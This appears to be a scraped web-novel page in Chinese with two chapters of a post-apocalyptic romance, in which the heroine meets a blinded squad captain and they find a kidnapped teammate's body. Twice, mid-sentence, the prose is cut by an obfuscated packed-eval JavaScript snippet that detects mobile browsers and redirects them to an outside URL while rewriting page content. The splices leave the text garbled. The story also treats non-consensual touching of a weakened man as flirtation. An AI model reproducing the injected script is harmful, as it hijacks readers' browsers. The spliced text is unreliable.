《夺走龙傲天男主的一切[gb]》 3. 失明 要找到空霁的房间,对越青绝来说就跟喝水一样简单。 作为余烬的队长和一个实力不俗的强大异能者,空霁拥有一个麻雀虽小五脏俱全的房间。没有多余的装饰,却处处透着规整,和末世中的潦草狼狈格格不入。 他一定有洁癖。 这是越青绝对空霁的第一个判断。 末世降临一整年,秩序崩塌,文明褪色。未经净化的地下水无法引用,野外的植株尽数畸变,连干净的衣物都成了奢侈品。基地里的人大多满身尘污,不修边幅。能活下去已经是万幸,没人再在意整洁与否。 但空霁的房间干净到近乎反常。桌椅摆放整齐,家具一尘不染,没有半点杂物。 这也许和空霁的异能有关,但愿意把异能用到这种地方,本身就很能说明他的性格底色。 “很干净的房间。”系统一闪一闪地飘在越青绝头顶。 越青绝没有否认,转头拿起简易书架上的一本封面泛黄的旧书。 “系统,空霁在末世之前是物理老师?” “是的。空霁在平海大学任教,陈周就是他曾经教过的学生。” “物理老师啊……”越青绝翻开那本晦涩的教材,指尖轻轻划过上面的工整批注,嘴角勾起一抹玩味的笑,“说起来,我也当过老师呢。” “我记得宿主当过高中数学老师、大学刑法学讲师、安全区特战营的实战防卫与异能操控特训教官,还有……” “真是令人怀念。” 越青绝将书随手放在桌上,又溜达着打开了空霁的衣柜。柜门轻响,里面的衣物叠得方方正正,连褶皱都极少。 “我不讨厌他的气味。” “宿主不是只喜欢荔枝的味道吗?”系统有点惊讶。 越青绝扫了眼上蹿下跳的光球,笑了:“只是不讨厌罢了,不代表我喜欢。” 两人正交谈间,外面忽然传来了一阵急促的脚步声,由远及近。 越青绝随手关上衣柜,缓缓退到房间一角,身影消失在空气中。 “砰!”房门被人大力推开。 “动作轻点儿!”一个扎着高马尾的女人大步进来,利落地掀开空霁床上的被子,迅速后退给后面的人腾出位置。 袁宜紧随其后,小心翼翼地将还在昏睡的空霁放在床上。后面又挤进来好几个人,门外还围着一圈探头探脑的。 高马尾抄起桌上的杯子,冲门口一个高瘦的男人扬了扬手:“柳条,倒杯水。” 男人抬手催动异能,指尖缓缓流出一道泛着温热的水流,不多时便将杯子灌满。 “队长到底怎么样了?”有人压低声音急着问。 “米厉你慢点儿,水都倒在队长脸上了!” “怎么还没醒啊?方医生不是说没什么大问题吗?” 七嘴八舌的声音挤在狭小的房间里,嘈杂喧闹,却是实打实的鲜活与关切,是末世里难得的温暖。 高马尾费劲地把水喂进去大半,一扭头看见乌泱泱的人群,没好气道:“别挤在这了!都出去!把队长的房间都熏臭了!” 袁宜赶紧拉人出去:“没事,方医生说了,就是异能枯竭,没有别的问题。队长需要好好休息,我们先走吧,去看看小祝的情况,别在这打扰队长。” “都走吧,队长不许我们在他昏迷的时候守在房间里面,都出去!” 一群人来得匆忙,走得也快,不过片刻,房门便被轻轻带上,嘈杂的人声渐渐远去,房间里重新恢复安静,只剩下空霁略显急促的呼吸声,在寂静中格外清晰。 “哒、哒、哒。” 战术靴踩在水泥地面上,发出细微而清脆的声响,却始终看不见人影。 直到脚步声停在床边,越青绝的身影才缓缓从阴影中浮现,慵懒地靠在一旁的椅子上,目光落在床上的男人身上。 空霁还穿着那件被汗水与血污浸透的特战服,袖口和领口被人强硬扯开。他脸上的脏污已经被擦干净,眉眼清俊,却因异能透支而脸色惨白,唇瓣泛着不正常的淡青,双眼紧闭,身躯还在控制不住地微微颤抖。 下一瞬,诡异的一幕发生了。 他胸口的衣物开始以肉眼可见的速度消解。先是化为粉末,后来连粉末也慢慢消失。衣物全部消失之后,被褥、床,也开始跟着消解。 “这么霸道?”越青绝坐在椅子上,饶有兴致地欣赏着眼前的脱衣秀。 就在她以为连地面都要被殃及时,空霁的身体表面,却缓缓覆盖上一层单薄模糊的物质,转瞬之间,一套崭新的特战服便重新出现在他身上,随后是被褥,最后是完好的床板,仿佛刚才的消解从未发生过。 越青绝眼底的兴味更浓,指尖轻轻敲击着椅面。 “有意思。”她随手拿起方才翻看的那本物理书,轻轻一抛,书本恰好落在空霁的腹部,“空霁失去意识的时候,会控制不住自己的异能?” 接下来的一幕验证了她的猜想。 空霁周身的衣物、被褥、床板,甚至连落在他身上的书本,都开始反复地消解、重构,循环往复,像是失控的机器,停不下来。 “空霁的异能……叫什么名字来着?” 系统立刻回答:“是S级异能,解构。” “解构……”越青绝低声念了两遍,眼睛紧紧盯着床上又一次空无一物的男人,唇角勾起,“你说,这时候我扔个人过去,他消解之后,还能重新拼回来吗?” “宿主可以试试。” “不用试。”越青绝微微一笑,“物质可以重构,可意识不行。活生生的人被解构殆尽,就算拼回原样,也不过是一具没有意识的躯壳罢了。” 空霁的异能失控了将近半个小时。 最后停下时,床和被褥只重构了一半,他身上的衣物也只是勉强勾勒出轮廓,半遮半掩地挂在身上,狼狈又脆弱。 越青绝正翻着另一本空霁的旧书,听见动静抬眼望去,便见空霁已经睁开了眼睛,可瞳孔涣散无光,没有任何焦距,显然意识还未完全清醒。 “……谁?” 他的声音沙哑干涩,像是从喉咙里刮出来的。 越青绝看着他空洞的眼睛,忽然笑了。 “路过的。”她语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412089|200675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻佻。 空霁浑身一颤,指尖抖动了一下:“你是怎么进来的?” “走进来的。” 越青绝合上书,起身走到床边坐下,伸手握住他的手,如同白日在山林里那般,强势地与他十指交扣。 男人挣了一下,没挣动:“……你都看见了,还敢和我握手?” “你们老师都喜欢用反问句吗?”越青绝笑了声,指尖摩挲着他微凉的指节,“你可以试试。” 她说着,另一只手更是毫无顾忌地探过去,穿过他残破的衣物,放在柔软的地方,轻轻捏了捏。 空霁沉默了片刻,后知后觉地意识到自己此刻的狼狈不堪,耳根微微泛红,却依旧保持着冷静。 “这就是你的目的吗?” “是啊。”越青绝眯起眼睛,显然心情很好。 “现在……几点了?” “晚上八点二十一分。”越青绝看着他睁着的、却什么都看不见的眼睛。 空霁又沉默了片刻,哑声开口:“房间里,没有开灯吧。” 越青绝笑了笑,没出声。 “……你到底是谁?” 越青绝给出了一个不走心的回答,“迷人的正派角色?” “……” “骗你的,其实我是来拯救世界的。” “……你为什么找上我?祁笑是你们抓走的吗?” 空霁很冷静,似乎完全不为眼前受制于人的情况所扰,甚至任由越青绝拿他的身体当面团揉捏。 “和你聊天很有意思,我很喜欢。”他们之间的话题完全不受空霁掌控,所有节奏都在越青绝手里,“空霁老师,不要尝试用你的异能对付我,没有意义。眼睛已经看不见了,连异能都枯竭的话,怎么去救人呢?” 空霁呼吸微顿:“你知道怎么救祁笑?” “当然。” 两人你来我往地试探了几个回合,空霁仍然没有得到任何有效信息。 他昏迷时并非完全没有意识,耳边隐隐听见袁宜和陈周的只言片语。空间异能,C级。 这绝对不是这个女人的真实水平。 他的异能是S级解构。在发现越青绝的第一秒,他就已经强忍疼痛,悄悄发动过了,并非在越青绝伸手触碰他的那一刻才启动。 但没有任何作用。 他无法消解越青绝。 “需要我帮你穿上衣服吗?”越青绝十分好心地发问。 “不用了。”空霁半坐起来,很是冷静地将她的手从自己胸前拿开,“我可以自己来。” 既然越青绝已经发现了,他也懒得遮掩。一套完整崭新的特战服重新罩在身上,将那一身白皙皮肉尽数遮盖。被消解重构过数次的单人床和被褥也在瞬间恢复原状。 越青绝很是遗憾地叹了口气:“还是不穿衣服更赏心悦目。” 空霁睁着一双空洞的眼睛,很有礼貌地转向她:“现在我们可以谈一谈,你帮我们救出祁笑,想要的报酬吗?” 越青绝看着他,慢慢地笑了。 “报酬啊……”她拖长了尾音,“你。” 4. 尸体 空霁不喜欢黑暗。 这是越青绝对空霁的第二个判断。 大概是因为第一次陷入失明,即便他竭力收敛神色,维持着一贯的平静,细微的紧绷感依旧无处躲藏。他的手垂在身侧,自以为隐蔽地紧紧攥着,指节绷得泛白。 越青绝的目光在那只手上轻轻掠过,话锋忽然一转:“开玩笑的。我想要的报酬……真正加入余烬。我昨天救了你的队员,现在也愿意和你去救另一个人,这是我的诚意。” 这已经是她第二次明确提出要加入余烬,空霁听得出来,她是认真的。他沉默片刻,低声问:“为什么?” “为了拯救世界。” 又是熟悉的敷衍。空霁抿了抿唇,没有接话。 房间里一时陷入安静。越青绝等了片刻,忽然提起方才的事:“那本书,我还没看完,就被你消解了。” “……哪一本,叫什么名字?” “《对称性与残缺》。”越青绝支着下巴看他,“能原样重构出来吗,空霁老师。” 空霁微微颔首,刚要催动异能,手背却忽然被一只手轻轻按住。冰凉的触感猝不及防地贴上来,不像是手,倒像是什么不知名的软体动物。 他下意识一颤,掌心猛地后撤,却被对方顺势牢牢扣住。 “算了,以后再看。”她低笑一声,欣赏他那点细微的狼狈,“这两天好好休息,养足精神,三天后出发。” 空霁神色一凛,也顾不上她越界的触碰,语速不自觉加快:“三天太晚,祁笑撑不住。他没有异能,现在落在那些人手里——” “没关系。”越青绝捏了捏他的手指,漫不经心道:“三天后、两天后、明天……什么时候出发,结果都一样。” 一样? 空霁眉心微蹙,正要追问,扣着他的那阵冰凉却忽然撤去。 “休息吧。” 话音刚落,房间里彻底安静下来。空霁清晰感知到,这里只剩他一个人了。 越青绝回到会议室时,一切还是她离开前的模样,房门依旧紧锁。显然,余烬的队员已经把她这个外来者抛在了脑后。 她抬手轻动,那张色彩鲜亮的沙滩椅再次凭空出现。会议室内的桌椅无风自动,贴着墙面整齐垒起,将不大的空间彻底清空,刚好容下这张与环境格格不入的椅子。 越青绝看了一眼,觉得不太舒适。 不大的会议室发生了细微的变化,似乎有什么东西慢慢攀上沙滩椅,将它坚硬的棱角都裹缠起来。 躺下去后,光球忽然弹出来,围着她转了几圈,满是心疼:“执行官大人辛苦了!这个世界环境太恶劣!我一定要向主脑申请更多奖励!” “好,那你去吧。” 越青绝调整到一个舒服的姿势,闭目养神,“我睡会儿。” 基地内人群的交谈声、走动声,地底隐约传来的异植根须的蠕动声,甚至基地外围变异兽群的嘶吼,周遭的声响一丝不漏的钻入耳中。 越青绝闭着眼,并没有真正入睡,只是安静地听着黑夜一点点褪去。 次日清晨,纷乱的脚步声在会议室外响起。 陈周顶着一头乱糟糟的短发,一边走一边不停嘟囔:“老师,你应该再多休息一会儿的,怎么起这么早……” 空霁脸色仍带着一丝疲惫,可那双眼睛已经恢复了往日的明亮,全然不见昨夜的空洞茫然。 “成双怎么样了?” 他开口问道。 “伤得很重,被勒断了几根肋骨,小腿胫骨也骨折了,至少要卧床静养一周才能勉强活动。” “嗯。” 空霁微微颔首,“你和袁宜这两天也留在基地好好休息。” 陈周掏钥匙的手猛地一顿,立刻回头,语气急切:“不行!老师,我要跟你一起去!” 空霁揉了揉眉心,叹口气:“听话。先开门。” “我真的没事,一点伤都没有!老师,让我跟着吧!” “这件事没得商量。” 陈周还想再争取,几米开外忽然传来一道清亮慵懒的女声,打断了两人的争执。 “什么事这么没得商量?” 空霁循声转头,越青绝指尖转着一根包装完好的代餐棒,是末世之前生产的老款,口感扎实又顶饿,在如今的和平基地里,属于有钱都换不到的稀缺物资。 “你怎么出去的?”陈周相当震惊地看着她。 “就那么出去的。” 空霁径直转过身,朝陈周伸手:“钥匙给我,你先回去。” 陈周张了张嘴,最终还是一步三回头地离开了。 “外面人多眼杂,进来说。”空霁推开门,侧身让她先进。 越青绝慢悠悠走进会议室,空霁跟在后面,目光扫过彻底变样的房间,沉默片刻,没发表任何意见。 她两口解决了手里的代餐棒,抬眼上下打量着他:“空霁老师,就这么着急?你异能透支到什么地步,应该不用我多说。现在硬撑,后续反噬只会更严重。” 空霁无意在身体问题上多纠缠,直奔主题:“你手上有什么线索?” 越青绝不再绕弯子,淡定吐出两个字:“白夜。” 空霁一怔,难以置信地抬眼:“白夜?怎么会是他们?” 白夜是一个游荡在各大基地之间、臭名昭著的地下组织。他们专以捕杀“免疫者”为目的,偶尔还会抓捕异能特殊的人,进行惨无人道的人体实验。 “免疫者”的存在,空霁也是前段时间才偶然察觉。 这类人天生对病毒免疫,就算被感染者咬上一口,也没有变异的风险。但除却不受感染这一点,他们与常人无异。 “祁笑没有异能…… 白夜抓他,是因为他是免疫者?” 空霁声音发紧,脑子一时有些混乱。 越青绝随手拽过一把椅子坐下,指尖轻点椅面,只笑不语,算是默认。 空霁站在原地,心绪翻涌,震惊与不安交织在一起。 就在这时,门外传来两声轻叩。一道略显犹豫的男声隔着门板响起:“队长,你在忙吗?我有件事必须跟你说。” “去听听吧。” 越青绝朝门口方向抬了抬下巴。 空霁神色复杂地看了她一眼,没再多问,转身走出了会议室。 五分钟后,他重新出现在门口。 一身干净的特战服穿戴整齐,头盔、面罩一应俱全,和昨天一样,将自己遮盖得严严实实,只露出一双冷沉锐利的眼睛。 “走吧,现在就出发。” 车轮碾过开裂的沥青路面,引擎发出沉闷而疲惫的轰鸣。道路两旁曾经整齐的行道树早已被连根拔起,只留下一团团畸变扭曲的干枯根系,狰狞地裸露在尘土里。 越往基地外走,文明的痕迹就越稀薄。倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412090|200675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌的高架、锈成废铁的车辆残骸,被异植根须撑裂的地面上糊着不少黑褐色的痕迹,窗外掠过几具早已风干的感染者残骸。 空霁握着方向盘的手指微微用力,偶尔扫过身侧之人的目光极为复杂。 这一趟,他强硬拒绝了所有队员的跟随,执意只带着一个来路不明的越青绝,深入险境去救祁笑。 一辆车,两个人。 “白夜离和平基地最近的驻点,应该就在前面那片镇子。” 空霁的声音有些沉重,“具体位置不清楚。等会儿我们得弃车步行进去,动静太大,容易打草惊蛇。” 越青绝坐在副驾,手臂随意搭在窗框上,抬眸望去,天边一片灰沉。 “没关系。”她轻轻一笑,“安全为上。” 半小时后,空霁将车稳稳停在小镇入口不远处的废弃加油站后方,车身被锈蚀的加油机和高墙挡住,从外面很难察觉。 熄火下车,空霁打开后备箱,转头看着越青绝:“有武器吗?” 越青绝懒散地摇了摇头。 空霁不再多言,从里面翻出两把备用手枪和军用匕首,抛了过去。 “白夜高手不少,以防万一。” 越青绝没有拒绝他的好意。 进入小镇后,里面的景象却完全出乎空霁的意料。 没有疯长纠缠的异植,没有四处游荡的变异兽——到处都是感染者的尸体。 数量多得惊人,层层堆积,歪歪扭扭地叠在一处,早已风干发黑。一股呛鼻的腐臭与血腥味混杂在一起,浓烈得几乎能呛出眼泪,哪怕隔着面罩,那股恶臭依旧无孔不入。 这样大规模的尸山,几乎明示着白夜曾经在这个小镇里做过什么。 两人端着枪,谨慎靠近尸山的源头——镇医院。 整座医院早已人去楼空。大厅地面满是黑褐色的污渍与凌乱的脚印,走廊里散落着破碎的医疗器具,墙壁上也尽是干涸的血污。 “他们已经撤了。”空霁声音紧绷,“走得不算仓促,应该是刻意放弃了这个据点。” “先找人吧。”越青绝说。 空霁心头一紧。 白夜既然已经撤走,那就绝对不会留下一个还活着的免疫者。祁笑要么已经跟着他们一起转移了,要么…… 空霁定了定神,两人从大厅东侧开始,一间间病房排查过去。 他的心跳越来越快,焦灼一点点爬上眉梢,握着枪的手也在微微发颤。 直到搜查到二楼的一间手术室。 还未靠近,呛人的腐臭味便已经弥漫过来。空霁迅速冲了进去。 手术室里横七竖八地扔着几具尸体。 其中一具,是祁笑的。 他歪歪斜斜地躺在地上,脸色青白如纸,浑身衣物被褪尽,尸身冰凉干瘪。脖子上、手腕上、脚腕上都残留着几个硕大的针孔——他全身的血液都被抽干了。 “祁笑……” 空霁浑身僵住,站在手术室门口,一贯冷静克制的人,此刻眼底的平静彻底碎裂。 他强撑着异能透支的身体来到这里,换来的却是一具被抽干生机、冰凉至极的尸体。 就在他心神俱裂的瞬间,异变陡生。 墙壁、地面、天花板同时传来细微的碎裂声,无数尖刺骤然破出,箭头燃着暗红火光,浸过感染者血液,密密麻麻朝空霁射来。